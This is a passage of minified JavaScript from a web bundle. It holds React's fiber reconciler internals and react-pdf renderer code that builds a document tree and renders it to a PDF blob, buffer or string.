if(Ga!==ic||F!==null&amp;&amp;(64&amp;F.effectTag)!=0)for(F=N.child;F!==null;){if((Fe=vo(F))!==null){for(N.effectTag|=64,wu(oe,!1),(F=Fe.updateQueue)!==null&amp;&amp;(N.updateQueue=F,N.effectTag|=4),oe.lastEffect===null&amp;&amp;(N.firstEffect=null),N.lastEffect=oe.lastEffect,F=te,oe=N.child;oe!==null;)te=F,(ye=oe).effectTag&amp;=2,ye.nextEffect=null,ye.firstEffect=null,ye.lastEffect=null,(Fe=ye.alternate)===null?(ye.childExpirationTime=0,ye.expirationTime=te,ye.child=null,ye.memoizedProps=null,ye.memoizedState=null,ye.updateQueue=null,ye.dependencies=null):(ye.childExpirationTime=Fe.childExpirationTime,ye.expirationTime=Fe.expirationTime,ye.child=Fe.child,ye.memoizedProps=Fe.memoizedProps,ye.memoizedState=Fe.memoizedState,ye.updateQueue=Fe.updateQueue,te=Fe.dependencies,ye.dependencies=te===null?null:{expirationTime:te.expirationTime,firstContext:te.firstContext,responders:te.responders}),oe=oe.sibling;ir($i,1&amp;$i.current|2),N=N.child;break e}F=F.sibling}}else{if(!ye)if((F=vo(Fe))!==null){if(N.effectTag|=64,ye=!0,(F=F.updateQueue)!==null&amp;&amp;(N.updateQueue=F,N.effectTag|=4),wu(oe,!0),oe.tail===null&amp;&amp;oe.tailMode===&quot;hidden&quot;){(N=N.lastEffect=oe.lastEffect)!==null&amp;&amp;(N.nextEffect=null);break}}else Sn()&gt;oe.tailExpiration&amp;&amp;1&lt;te&amp;&amp;(N.effectTag|=64,ye=!0,wu(oe,!1),N.expirationTime=N.childExpirationTime=te-1);oe.isBackwards?(Fe.sibling=N.child,N.child=Fe):((F=oe.last)!==null?F.sibling=Fe:N.child=Fe,oe.last=Fe)}if(oe.tail!==null){oe.tailExpiration===0&amp;&amp;(oe.tailExpiration=Sn()+500),F=oe.tail,oe.rendering=F,oe.tail=F.sibling,oe.lastEffect=N.lastEffect,F.sibling=null,oe=$i.current,ir($i,oe=ye?1&amp;oe|2:1&amp;oe),N=F;break e}break;default:throw Error(s(156,N.tag))}N=null}if(F=Dr,Da===1||F.childExpirationTime!==1){for(oe=0,ye=F.child;ye!==null;)(te=ye.expirationTime)&gt;oe&amp;&amp;(oe=te),(Fe=ye.childExpirationTime)&gt;oe&amp;&amp;(oe=Fe),ye=ye.sibling;F.childExpirationTime=oe}if(N!==null)return N;B!==null&amp;&amp;(2048&amp;B.effectTag)==0&amp;&amp;(B.firstEffect===null&amp;&amp;(B.firstEffect=Dr.firstEffect),Dr.lastEffect!==null&amp;&amp;(B.lastEffect!==null&amp;&amp;(B.lastEffect.nextEffect=Dr.firstEffect),B.lastEffect=Dr.lastEffect),1&lt;Dr.effectTag&amp;&amp;(B.lastEffect!==null?B.lastEffect.nextEffect=Dr:B.firstEffect=Dr,B.lastEffect=Dr))}else{if((N=rd(Dr))!==null)return N.effectTag&amp;=2047,N;B!==null&amp;&amp;(B.firstEffect=B.lastEffect=null,B.effectTag|=2048)}if((N=Dr.sibling)!==null)return N;Dr=B}while(Dr!==null);return Ga===ic&amp;&amp;(Ga=Iu),null}function Ch(B){var N=B.expirationTime;return N&gt;(B=B.childExpirationTime)?N:B}function bn(B){var N=si();return aa(99,pp.bind(null,B,N)),null}function pp(B,N){if(Co(),(Yr&amp;(Vo|Wo))!==la)throw Error(s(327));var F=B.finishedWork,te=B.finishedExpirationTime;if(F===null)return null;if(B.finishedWork=null,B.finishedExpirationTime=0,F===B.current)throw Error(s(177));B.callbackNode=null,B.callbackExpirationTime=0,B.callbackPriority=90,B.nextKnownPendingLevel=0;var oe=Ch(F);if(B.firstPendingTime=oe,te&lt;=B.lastSuspendedTime?B.firstSuspendedTime=B.lastSuspendedTime=B.nextKnownPendingLevel=0:te&lt;=B.firstSuspendedTime&amp;&amp;(B.firstSuspendedTime=te-1),te&lt;=B.lastPingedTime&amp;&amp;(B.lastPingedTime=0),te&lt;=B.lastExpiredTime&amp;&amp;(B.lastExpiredTime=0),B===ao&amp;&amp;(Dr=ao=null,Da=0),1&lt;F.effectTag?F.lastEffect!==null?(F.lastEffect.nextEffect=F,oe=F.firstEffect):oe=F:oe=F.firstEffect,oe!==null){var ye=Yr;Yr|=Wo,Cu.current=null,W(B.containerInfo),Cr=oe;do try{cd()}catch(pn){if(Cr===null)throw Error(s(330));Zs(Cr,pn),Cr=Cr.nextEffect}while(Cr!==null);Cr=oe;do try{for(var Fe=B,bt=N;Cr!==null;){var Rt=Cr.effectTag;if(16&amp;Rt&amp;&amp;Ce&amp;&amp;dt(Cr.stateNode),128&amp;Rt){var ar=Cr.alternate;if(ar!==null){var Pr=ar.ref;Pr!==null&amp;&amp;(typeof Pr==&quot;function&quot;?Pr(null):Pr.current=null)}}switch(1038&amp;Rt){case 2:ad(Cr),Cr.effectTag&amp;=-3;break;case 6:ad(Cr),Cr.effectTag&amp;=-3,xh(Cr.alternate,Cr);break;case 1024:Cr.effectTag&amp;=-1025;break;case 1028:Cr.effectTag&amp;=-1025,xh(Cr.alternate,Cr);break;case 4:xh(Cr.alternate,Cr);break;case 8:var Vi=Fe,ai=Cr,Xi=bt;Ce?Ah(Vi,ai,Xi):cp(Vi,ai,Xi),wo(ai)}Cr=Cr.nextEffect}}catch(pn){if(Cr===null)throw Error(s(330));Zs(Cr,pn),Cr=Cr.nextEffect}while(Cr!==null);G(B.containerInfo),B.current=F,Cr=oe;do try{for(Rt=te;Cr!==null;){var ys=Cr.effectTag;if(36&amp;ys){var is=Cr.alternate;switch(Pr=Rt,(ar=Cr).tag){case 0:case 11:case 15:id(16,32,ar);break;case 1:var mt=ar.stateNode;if(4&amp;ar.effectTag)if(is===null)mt.componentDidMount();else{var ot=ar.elementType===ar.type?is.memoizedProps:wi(ar.type,is.memoizedProps);mt.componentDidUpdate(ot,is.memoizedState,mt.__reactInternalSnapshotBeforeUpdate)}var Ct=ar.updateQueue;Ct!==null&amp;&amp;fn(0,Ct,mt);break;case 3:var Tr=ar.updateQueue;if(Tr!==null){if(Fe=null,ar.child!==null)switch(ar.child.tag){case 5:Fe=P(ar.child.stateNode);break;case 1:Fe=ar.child.stateNode}fn(0,Tr,Fe)}break;case 5:var Jr=ar.stateNode;is===null&amp;&amp;4&amp;ar.effectTag&amp;&amp;be(Jr,ar.type,ar.memoizedProps,ar);break;case 6:case 4:case 12:case 19:case 17:case 20:case 21:break;case 13:we&amp;&amp;ar.memoizedState;break;default:throw Error(s(163))}}if(128&amp;ys){ar=void 0;var ci=Cr.ref;if(ci!==null){var Lr=Cr.stateNode;ar=Cr.tag===5?P(Lr):Lr,typeof ci==&quot;function&quot;?ci(ar):ci.current=ar}}Cr=Cr.nextEffect}}catch(pn){if(Cr===null)throw Error(s(330));Zs(Cr,pn),Cr=Cr.nextEffect}while(Cr!==null);Cr=null,Zr(),Yr=ye}else B.current=F;if(yh)yh=!1,Fc=B,v0=N;else for(Cr=oe;Cr!==null;)N=Cr.nextEffect,Cr.nextEffect=null,Cr=N;if((N=B.firstPendingTime)===0&amp;&amp;(sc=null),N===1073741823?B===Ri?oc++:(oc=0,Ri=B):oc=0,typeof xf==&quot;function&quot;&amp;&amp;xf(F.stateNode,te),vs(B),A0)throw A0=!1,B=x0,x0=null,B;return(Yr&amp;vh)!==la||ni(),null}function cd(){for(;Cr!==null;){var B=Cr.effectTag;(256&amp;B)!=0&amp;&amp;Eu(Cr.alternate,Cr),(512&amp;B)==0||yh||(yh=!0,go(97,(function(){return Co(),null}))),Cr=Cr.nextEffect}}function Co(){if(v0!==90){var B=97&lt;v0?97:v0;return v0=90,aa(B,Xg)}}function Xg(){if(Fc===null)return!1;var B=Fc;if(Fc=null,(Yr&amp;(Vo|Wo))!==la)throw Error(s(331));var N=Yr;for(Yr|=Wo,B=B.current.firstEffect;B!==null;){try{var F=B;if((512&amp;F.effectTag)!=0)switch(F.tag){case 0:case 11:case 15:id(128,0,F),id(0,64,F)}}catch(te){if(B===null)throw Error(s(330));Zs(B,te)}F=B.nextEffect,B.nextEffect=null,B=F}return Yr=N,ni(),!0}function w0(B,N,F){Ot(B,N=m0(B,N=gh(F,N),1073741823)),(B=lc(B,1073741823))!==null&amp;&amp;vs(B)}function Zs(B,N){if(B.tag===3)w0(B,B,N);else for(var F=B.return;F!==null;){if(F.tag===3){w0(F,B,N);break}if(F.tag===1){var te=F.stateNode;if(typeof F.type.getDerivedStateFromError==&quot;function&quot;||typeof te.componentDidCatch==&quot;function&quot;&amp;&amp;(sc===null||!sc.has(te))){Ot(F,B=dp(F,B=gh(N,B),1073741823)),(F=lc(F,1073741823))!==null&amp;&amp;vs(F);break}}F=F.return}}function Af(B,N,F){var te=B.pingCache;te!==null&amp;&amp;te.delete(N),ao===B&amp;&amp;Da===F?Ga===g0||Ga===ac&amp;&amp;Al===1073741823&amp;&amp;Sn()-pf&lt;ld?Eo(B,Da):xl=!0:vi(B,F)&amp;&amp;((N=B.lastPingedTime)!==0&amp;&amp;N&lt;F||(B.lastPingedTime=F,B.finishedExpirationTime===F&amp;&amp;(B.finishedExpirationTime=0,B.finishedWork=null),vs(B)))}function Mc(B,N){var F=B.stateNode;F!==null&amp;&amp;F.delete(N),(N=0)==0&amp;&amp;(N=Ol(N=Ds(),B,null)),(B=lc(B,N))!==null&amp;&amp;vs(B)}fp=function(B,N,F){var te=N.expirationTime;if(B!==null){var oe=N.pendingProps;if(B.memoizedProps!==oe||Le.current)Ho=!0;else{if(te&lt;F){switch(Ho=!1,N.tag){case 3:Pl(N);break;case 5:if(ec(N),4&amp;N.mode&amp;&amp;F!==1&amp;&amp;null(N.type,oe))return N.expirationTime=N.childExpirationTime=1,null;break;case 1:ae(N.type)&amp;&amp;H(N);break;case 4:Au(N,N.stateNode.containerInfo);break;case 10:oi(N,N.memoizedProps.value);break;case 13:if(N.memoizedState!==null)return(te=N.child.childExpirationTime)!==0&amp;&amp;te&gt;=F?bu(B,N,F):(ir($i,1&amp;$i.current),(N=Fl(B,N,F))!==null?N.sibling:null);ir($i,1&amp;$i.current);break;case 19:if(te=N.childExpirationTime&gt;=F,(64&amp;B.effectTag)!=0){if(te)return rc(B,N,F);N.effectTag|=64}if((oe=N.memoizedState)!==null&amp;&amp;(oe.rendering=null,oe.tail=null),ir($i,$i.current),!te)return null}return Fl(B,N,F)}Ho=!1}}else Ho=!1;switch(N.expirationTime=0,N.tag){case 2:if(te=N.type,B!==null&amp;&amp;(B.alternate=null,N.alternate=null,N.effectTag|=2),B=N.pendingProps,oe=ie(N,ce.current),me(N,F),oe=zn(null,N,te,B,oe,F),N.effectTag|=1,typeof oe==&quot;object&quot;&amp;&amp;oe!==null&amp;&amp;typeof oe.render==&quot;function&quot;&amp;&amp;oe.$$typeof===void 0){if(N.tag=1,_a(),ae(te)){var ye=!0;H(N)}else ye=!1;N.memoizedState=oe.state!==null&amp;&amp;oe.state!==void 0?oe.state:null;var Fe=te.getDerivedStateFromProps;typeof Fe==&quot;function&quot;&amp;&amp;xa(N,te,Fe,B),oe.updater=ro,N.stateNode=oe,oe._reactInternalFiber=N,zo(N,te,B,F),N=cf(null,N,te,!0,ye,F)}else N.tag=0,qo(null,N,oe,F),N=N.child;return N;case 16:if(oe=N.elementType,B!==null&amp;&amp;(B.alternate=null,N.alternate=null,N.effectTag|=2),B=N.pendingProps,(function(Pr){if(Pr._status===-1){Pr._status=0;var Vi=Pr._ctor;Vi=Vi(),Pr._result=Vi,Vi.then((function(ai){Pr._status===0&amp;&amp;(ai=ai.default,Pr._status=1,Pr._result=ai)}),(function(ai){Pr._status===0&amp;&amp;(Pr._status=2,Pr._result=ai)}))}})(oe),oe._status!==1)throw oe._result;switch(oe=oe._result,N.type=oe,ye=N.tag=(function(Pr){if(typeof Pr==&quot;function&quot;)return E0(Pr)?1:0;if(Pr!=null){if((Pr=Pr.$$typeof)===w)return 11;if(Pr===S)return 14}return 2})(oe),B=wi(oe,B),ye){case 0:N=Qc(null,N,oe,B,F);break;case 1:N=sp(null,N,oe,B,F);break;case 11:N=hh(null,N,oe,B,F);break;case 14:N=mh(null,N,oe,wi(oe.type,B),te,F);break;default:throw Error(s(306,oe,&quot;&quot;))}return N;case 0:return te=N.type,oe=N.pendingProps,Qc(B,N,te,oe=N.elementType===te?oe:wi(te,oe),F);case 1:return te=N.type,oe=N.pendingProps,sp(B,N,te,oe=N.elementType===te?oe:wi(te,oe),F);case 3:if(Pl(N),(te=N.updateQueue)===null)throw Error(s(282));if(oe=(oe=N.memoizedState)!==null?oe.element:null,Rr(N,te,N.pendingProps,null,F),(te=N.memoizedState.element)===oe)N=Fl(B,N,F);else{if((oe=N.stateNode.hydrate)&amp;&amp;(oe=!1),oe)for(F=zi(N,null,te,F),N.child=F;F;)F.effectTag=-3&amp;F.effectTag|1024,F=F.sibling;else qo(B,N,te,F);N=N.child}return N;case 5:return ec(N),te=N.type,oe=N.pendingProps,ye=B!==null?B.memoizedProps:null,Fe=oe.children,V(te,oe)?Fe=null:ye!==null&amp;&amp;V(te,ye)&amp;&amp;(N.effectTag|=16),ap(B,N),4&amp;N.mode&amp;&amp;F!==1&amp;&amp;null(te,oe)?(N.expirationTime=N.childExpirationTime=1,N=null):(qo(B,N,Fe,F),N=N.child),N;case 6:return null;case 13:return bu(B,N,F);case 4:return Au(N,N.stateNode.containerInfo),te=N.pendingProps,B===null?N.child=ks(N,null,te,F):qo(B,N,te,F),N.child;case 11:return te=N.type,oe=N.pendingProps,hh(B,N,te,oe=N.elementType===te?oe:wi(te,oe),F);case 7:return qo(B,N,N.pendingProps,F),N.child;case 8:case 12:return qo(B,N,N.pendingProps.children,F),N.child;case 10:e:{if(te=N.type._context,oe=N.pendingProps,Fe=N.memoizedProps,oi(N,ye=oe.value),Fe!==null){var bt=Fe.value;if((ye=Ua(bt,ye)?0:0|(typeof te._calculateChangedBits==&quot;function&quot;?te._calculateChangedBits(bt,ye):1073741823))==0){if(Fe.children===oe.children&amp;&amp;!Le.current){N=Fl(B,N,F);break e}}else for((bt=N.child)!==null&amp;&amp;(bt.return=N);bt!==null;){var Rt=bt.dependencies;if(Rt!==null){Fe=bt.child;for(var ar=Rt.firstContext;ar!==null;){if(ar.context===te&amp;&amp;(ar.observedBits&amp;ye)!=0){bt.tag===1&amp;&amp;((ar=vt(F,null)).tag=2,Ot(bt,ar)),bt.expirationTime&lt;F&amp;&amp;(bt.expirationTime=F),(ar=bt.alternate)!==null&amp;&amp;ar.expirationTime&lt;F&amp;&amp;(ar.expirationTime=F),Sa(bt.return,F),Rt.expirationTime&lt;F&amp;&amp;(Rt.expirationTime=F);break}ar=ar.next}}else Fe=bt.tag===10&amp;&amp;bt.type===N.type?null:bt.child;if(Fe!==null)Fe.return=bt;else for(Fe=bt;Fe!==null;){if(Fe===N){Fe=null;break}if((bt=Fe.sibling)!==null){bt.return=Fe.return,Fe=bt;break}Fe=Fe.return}bt=Fe}}qo(B,N,oe.children,F),N=N.child}return N;case 9:return oe=N.type,te=(ye=N.pendingProps).children,me(N,F),te=te(oe=pe(oe,ye.unstable_observedBits)),N.effectTag|=1,qo(B,N,te,F),N.child;case 14:return ye=wi(oe=N.type,N.pendingProps),mh(B,N,oe,ye=wi(oe.type,ye),te,F);case 15:return ph(B,N,N.type,N.pendingProps,te,F);case 17:return te=N.type,oe=N.pendingProps,oe=N.elementType===te?oe:wi(te,oe),B!==null&amp;&amp;(B.alternate=null,N.alternate=null,N.effectTag|=2),N.tag=1,ae(te)?(B=!0,H(N)):B=!1,me(N,F),Dl(N,te,oe),zo(N,te,oe,F),cf(null,N,te,!0,B,F);case 19:return rc(B,N,F)}throw Error(s(156,N.tag))};var xf=null,gp=null;function eA(B,N,F,te){this.tag=B,this.key=F,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=N,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=te,this.effectTag=0,this.lastEffect=this.firstEffect=this.nextEffect=null,this.childExpirationTime=this.expirationTime=0,this.alternate=null}function so(B,N,F,te){return new eA(B,N,F,te)}function E0(B){return!(!(B=B.prototype)||!B.isReactComponent)}function vl(B,N){var F=B.alternate;return F===null?((F=so(B.tag,N,B.key,B.mode)).elementType=B.elementType,F.type=B.type,F.stateNode=B.stateNode,F.alternate=B,B.alternate=F):(F.pendingProps=N,F.effectTag=0,F.nextEffect=null,F.firstEffect=null,F.lastEffect=null),F.childExpirationTime=B.childExpirationTime,F.expirationTime=B.expirationTime,F.child=B.child,F.memoizedProps=B.memoizedProps,F.memoizedState=B.memoizedState,F.updateQueue=B.updateQueue,N=B.dependencies,F.dependencies=N===null?null:{expirationTime:N.expirationTime,firstContext:N.firstContext,responders:N.responders},F.sibling=B.sibling,F.index=B.index,F.ref=B.ref,F}function Uc(B,N,F,te,oe,ye){var Fe=2;if(te=B,typeof B==&quot;function&quot;)E0(B)&amp;&amp;(Fe=1);else if(typeof B==&quot;string&quot;)Fe=5;else e:switch(B){case u:return Zo(F.children,oe,ye,N);case v:Fe=8,oe|=7;break;case h:Fe=8,oe|=1;break;case p:return(B=so(12,F,N,8|oe)).elementType=p,B.type=p,B.expirationTime=ye,B;case j:return(B=so(13,F,N,oe)).type=j,B.elementType=j,B.expirationTime=ye,B;case E:return(B=so(19,F,N,oe)).elementType=E,B.expirationTime=ye,B;default:if(typeof B==&quot;object&quot;&amp;&amp;B!==null)switch(B.$$typeof){case A:Fe=10;break e;case y:Fe=9;break e;case w:Fe=11;break e;case S:Fe=14;break e;case _:Fe=16,te=null;break e}throw Error(s(130,B==null?B:typeof B,&quot;&quot;))}return(N=so(Fe,F,N,oe)).elementType=B,N.type=te,N.expirationTime=ye,N}function Zo(B,N,F,te){return(B=so(7,B,te,N)).expirationTime=F,B}function Su(B,N,F){return(B=so(6,B,null,N)).expirationTime=F,B}function uc(B,N,F){return(N=so(4,B.children!==null?B.children:[],B.key,N)).expirationTime=F,N.stateNode={containerInfo:B.containerInfo,pendingChildren:null,implementation:B.implementation},N}function ii(B,N,F){this.tag=N,this.current=null,this.containerInfo=B,this.pingCache=this.pendingChildren=null,this.finishedExpirationTime=0,this.finishedWork=null,this.timeoutHandle=_e,this.pendingContext=this.context=null,this.hydrate=F,this.callbackNode=null,this.callbackPriority=90,this.lastExpiredTime=this.lastPingedTime=this.nextKnownPendingLevel=this.lastSuspendedTime=this.firstSuspendedTime=this.firstPendingTime=0}function vi(B,N){var F=B.firstSuspendedTime;return B=B.lastSuspendedTime,F!==0&amp;&amp;F&gt;=N&amp;&amp;B&lt;=N}function Io(B,N){var F=B.firstSuspendedTime,te=B.lastSuspendedTime;F&lt;N&amp;&amp;(B.firstSuspendedTime=N),(te&gt;N||F===0)&amp;&amp;(B.lastSuspendedTime=N),N&lt;=B.lastPingedTime&amp;&amp;(B.lastPingedTime=0),N&lt;=B.lastExpiredTime&amp;&amp;(B.lastExpiredTime=0)}function Ts(B,N){N&gt;B.firstPendingTime&amp;&amp;(B.firstPendingTime=N);var F=B.firstSuspendedTime;F!==0&amp;&amp;(N&gt;=F?B.firstSuspendedTime=B.lastSuspendedTime=B.nextKnownPendingLevel=0:N&gt;=B.lastSuspendedTime&amp;&amp;(B.lastSuspendedTime=N+1),N&gt;B.nextKnownPendingLevel&amp;&amp;(B.nextKnownPendingLevel=N))}function Rs(B,N){var F=B.lastExpiredTime;(F===0||F&gt;N)&amp;&amp;(B.lastExpiredTime=N)}function Bu(B){var N=B._reactInternalFiber;if(N===void 0)throw typeof B.render==&quot;function&quot;?Error(s(188)):Error(s(268,Object.keys(B)));return(B=$(N))===null?null:B.stateNode}function ku(B,N){(B=B.memoizedState)!==null&amp;&amp;B.dehydrated!==null&amp;&amp;B.retryTime&lt;N&amp;&amp;(B.retryTime=N)}function Ps(B,N){ku(B,N),(B=B.alternate)&amp;&amp;ku(B,N)}var ud={createContainer:function(B,N,F){return B=new ii(B,N,F),N=so(3,null,null,N===2?7:N===1?3:0),B.current=N,N.stateNode=B},updateContainer:function(B,N,F,te){var oe=N.current,ye=Ds(),Fe=mn.suspense;ye=Ol(ye,oe,Fe);e:if(F){t:{if(T(F=F._reactInternalFiber)!==F||F.tag!==1)throw Error(s(170));var bt=F;do{switch(bt.tag){case 3:bt=bt.stateNode.context;break t;case 1:if(ae(bt.type)){bt=bt.stateNode.__reactInternalMemoizedMergedChildContext;break t}}bt=bt.return}while(bt!==null);throw Error(s(171))}if(F.tag===1){var Rt=F.type;if(ae(Rt)){F=Tt(F,Rt,bt);break e}}F=bt}else F=He;return N.context===null?N.context=F:N.pendingContext=F,(N=vt(ye,Fe)).payload={element:B},(te=te===void 0?null:te)!==null&amp;&amp;(N.callback=te),Ot(oe,N),Ko(oe,ye),ye},batchedEventUpdates:function(B,N){var F=Yr;Yr|=2;try{return B(N)}finally{(Yr=F)===la&amp;&amp;ni()}},batchedUpdates:function(B,N){var F=Yr;Yr|=1;try{return B(N)}finally{(Yr=F)===la&amp;&amp;ni()}},unbatchedUpdates:function(B,N){var F=Yr;Yr&amp;=-2,Yr|=vh;try{return B(N)}finally{(Yr=F)===la&amp;&amp;ni()}},deferredUpdates:function(B){return aa(97,B)},syncUpdates:function(B,N,F,te){return aa(99,B.bind(null,N,F,te))},discreteUpdates:function(B,N,F,te){var oe=Yr;Yr|=4;try{return aa(98,B.bind(null,N,F,te))}finally{(Yr=oe)===la&amp;&amp;ni()}},flushDiscreteUpdates:function(){(Yr&amp;(1|Vo|Wo))===la&amp;&amp;((function(){if(Oc!==null){var B=Oc;Oc=null,B.forEach((function(N,F){Rs(F,N),vs(F)})),ni()}})(),Co())},flushControlled:function(B){var N=Yr;Yr|=1;try{aa(99,B)}finally{(Yr=N)===la&amp;&amp;ni()}},flushSync:hp,flushPassiveEffects:Co,IsThisRendererActing:{current:!1},getPublicRootInstance:function(B){return(B=B.current).child?B.child.tag===5?P(B.child.stateNode):B.child.stateNode:null},attemptSynchronousHydration:function(B){switch(B.tag){case 3:var N=B.stateNode;N.hydrate&amp;&amp;(function(F,te){Rs(F,te),vs(F),(Yr&amp;(Vo|Wo))===la&amp;&amp;ni()})(N,N.firstPendingTime);break;case 13:hp((function(){return Ko(B,1073741823)})),N=es(Ds(),150,100),Ps(B,N)}},attemptUserBlockingHydration:function(B){if(B.tag===13){var N=es(Ds(),150,100);Ko(B,N),Ps(B,N)}},attemptContinuousHydration:function(B){if(B.tag===13){Ds();var N=Xa++;Ko(B,N),Ps(B,N)}},attemptHydrationAtCurrentPriority:function(B){if(B.tag===13){var N=Ds();Ko(B,N=Ol(N,B,null)),Ps(B,N)}},findHostInstance:Bu,findHostInstanceWithWarning:function(B){return Bu(B)},findHostInstanceWithNoPortals:function(B){return(B=(function(N){if(!(N=O(N)))return null;for(var F=N;;){if(F.tag===5||F.tag===6)return F;if(F.child&amp;&amp;F.tag!==4)F.child.return=F,F=F.child;else{if(F===N)break;for(;!F.sibling;){if(!F.return||F.return===N)return null;F=F.return}F.sibling.return=F.return,F=F.sibling}}return null})(B))===null?null:B.tag===20?B.stateNode.instance:B.stateNode},shouldSuspend:function(){return!1},injectIntoDevTools:function(B){var N=B.findFiberByHostInstance;return(function(F){if(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__&gt;&quot;u&quot;)return!1;var te=__REACT_DEVTOOLS_GLOBAL_HOOK__;if(te.isDisabled||!te.supportsFiber)return!0;try{var oe=te.inject(F);xf=function(ye){try{te.onCommitFiberRoot(oe,ye,void 0,(64&amp;ye.current.effectTag)==64)}catch{}},gp=function(ye){try{te.onCommitFiberUnmount(oe,ye)}catch{}}}catch{}return!0})(r({},B,{overrideHookState:null,overrideProps:null,setSuspenseHandler:null,scheduleUpdate:null,currentDispatcherRef:o.ReactCurrentDispatcher,findHostInstanceByFiber:function(F){return(F=$(F))===null?null:F.stateNode},findFiberByHostInstance:function(F){return N?N(F):null},findHostInstancesForRefresh:null,scheduleRefresh:null,scheduleRoot:null,setRefreshHandler:null,getCurrentFiber:null}))}};Qb.exports=ud.default||ud;var tA=Qb.exports;return Qb.exports=e,tA};var wPe=vPe(oY.exports);const lY=(e,t)=&gt;{const r=Object.keys(e),n=Object.keys(t);if(r.length!==n.length)return!1;for(let i=0;i&lt;r.length;i+=1){const s=r[i];if(s===&quot;render&quot;&amp;&amp;!e[s]!=!t[s])return!1;if(s!==&quot;children&quot;&amp;&amp;e[s]!==t[s]){if(typeof e[s]==&quot;object&quot;&amp;&amp;typeof t[s]==&quot;object&quot;&amp;&amp;lY(e[s],t[s]))continue;return!1}if(s===&quot;children&quot;&amp;&amp;(typeof e[s]==&quot;string&quot;||typeof t[s]==&quot;string&quot;))return e[s]===t[s]}return!0},IF={},EPe=({appendChild:e,appendChildToContainer:t,commitTextUpdate:r,commitUpdate:n,createInstance:i,createTextInstance:s,insertBefore:o,removeChild:l,removeChildFromContainer:c,resetAfterCommit:d})=&gt;wPe({appendChild:e,appendChildToContainer:t,appendInitialChild:e,createInstance:i,createTextInstance:s,insertBefore:o,commitUpdate:n,commitTextUpdate:r,removeChild:l,removeChildFromContainer:c,resetAfterCommit:d,shouldSetTextContent:()=&gt;!1,finalizeInitialChildren:()=&gt;!1,getPublicInstance:u=&gt;u,getRootHostContext:()=&gt;IF,getChildHostContext:()=&gt;IF,prepareForCommit(){},clearContainer(){},resetTextContent(){},prepareUpdate:(u,h,p,A)=&gt;!lY(p,A)}),CPe=Za.version.startsWith(&quot;19&quot;);var IPe=CPe?pPe:EPe;const jPe=e=&gt;Object.fromEntries(Object.entries(e).filter(t=&gt;{let[,r]=t;return r!==void 0})),NPe=(e,t)=&gt;{let{style:r,children:n,...i}=t;return{type:e,box:{},style:r||{},props:i||{},children:[]}},SPe=e=&gt;({type:&quot;TEXT_INSTANCE&quot;,value:e}),cY=(e,t)=&gt;{const r=e.type===&quot;TEXT&quot;||e.type===&quot;LINK&quot;||e.type===&quot;TSPAN&quot;||e.type===&quot;NOTE&quot;;if(t.type===&quot;TEXT_INSTANCE&quot;&amp;&amp;!r){console.warn(`Invalid &#039;${t.value}&#039; string child outside &lt;Text&gt; component`);return}e.children.push(t)},BPe=(e,t)=&gt;{e.type===&quot;ROOT&quot;?e.document=t:cY(e,t)},kPe=(e,t,r)=&gt;{var n;const i=(n=e.children)===null||n===void 0?void 0:n.indexOf(r);i!==void 0&amp;&amp;i!==-1&amp;&amp;t&amp;&amp;e.children.splice(i,0,t)},_Pe=(e,t)=&gt;{var r;const n=(r=e.children)===null||r===void 0?void 0:r.indexOf(t);n!==void 0&amp;&amp;n!==-1&amp;&amp;e.children.splice(n,1)},DPe=(e,t)=&gt;{var r;const n=(r=e.children)===null||r===void 0?void 0:r.indexOf(t);n!==void 0&amp;&amp;n!==-1&amp;&amp;e.children.splice(n,1)},TPe=(e,t,r)=&gt;{e.value=r},RPe=(e,t,r,n,i)=&gt;{const{style:s,...o}=i;e.props=o,e.style=s},PPe=e=&gt;{let{onChange:t=()=&gt;{}}=e;return IPe({appendChild:cY,appendChildToContainer:BPe,commitTextUpdate:TPe,commitUpdate:RPe,createInstance:NPe,createTextInstance:SPe,insertBefore:kPe,removeChild:_Pe,removeChildFromContainer:DPe,resetAfterCommit:t})},QPe=new T6e;let Fb;const Mp={},Gw=e=&gt;{const t=()=&gt;{var p;const A=((p=Mp.change)===null||p===void 0?void 0:p.slice())||[];for(let y=0;y&lt;A.length;y+=1)A[y]()},r={type:&quot;ROOT&quot;,document:null};Fb=Fb||PPe({onChange:t});const n=Fb.createContainer(r),i=(p,A)=&gt;{Fb.updateContainer(p,n,null,A)};e&amp;&amp;i(e);const s=async function(p){p===void 0&amp;&amp;(p=!0);const A=r.document.props||{},{pdfVersion:y,language:v,pageLayout:w,pageMode:j,title:E,author:S,subject:_,keyboards:C,creator:Q=&quot;react-pdf&quot;,producer:R=&quot;react-pdf&quot;,creationDate:T=new Date,modificationDate:M}=A,O=new l8({compress:p,pdfVersion:y,lang:v,displayTitle:!0,autoFirstPage:!1,info:jPe({Title:E,Author:S,Subject:_,Keywords:C,Creator:Q,Producer:R,CreationDate:T,ModificationDate:M})});w&amp;&amp;(O._root.data.PageLayout=Qv(w)),j&amp;&amp;(O._root.data.PageMode=Qv(j));const $=await oPe(r.document,QPe),P=YBe(O,$);return{layout:$,fileStream:P}},o=function(p){p===void 0&amp;&amp;(p={}),r.document.props.onRender&amp;&amp;r.document.props.onRender(p)};return{on:(p,A)=&gt;{Mp[p]||(Mp[p]=[]),Mp[p].push(A)},container:r,toBlob:async()=&gt;{const p=[],{layout:A,fileStream:y}=await s();return new Promise((v,w)=&gt;{y.on(&quot;data&quot;,j=&gt;{p.push(j instanceof Uint8Array?j:new Uint8Array(j))}),y.on(&quot;end&quot;,()=&gt;{try{const j=new Blob(p,{type:&quot;application/pdf&quot;});o({blob:j,_INTERNAL__LAYOUT__DATA_:A}),v(j)}catch(j){w(j)}})})},toBuffer:async()=&gt;{const{layout:p,fileStream:A}=await s();return o({_INTERNAL__LAYOUT__DATA_:p}),A},toString:async()=&gt;{let p=&quot;&quot;;const{fileStream:A}=await s(!1);return new Promise((y,v)=&gt;{try{A.on(&quot;data&quot;,w=&gt;{p+=w}),A.on(&quot;end&quot;,()=&gt;{o(),y(p)})}catch(w){v(w)}})},removeListener:(p,A)=&gt;{if(!Mp[p])return;const 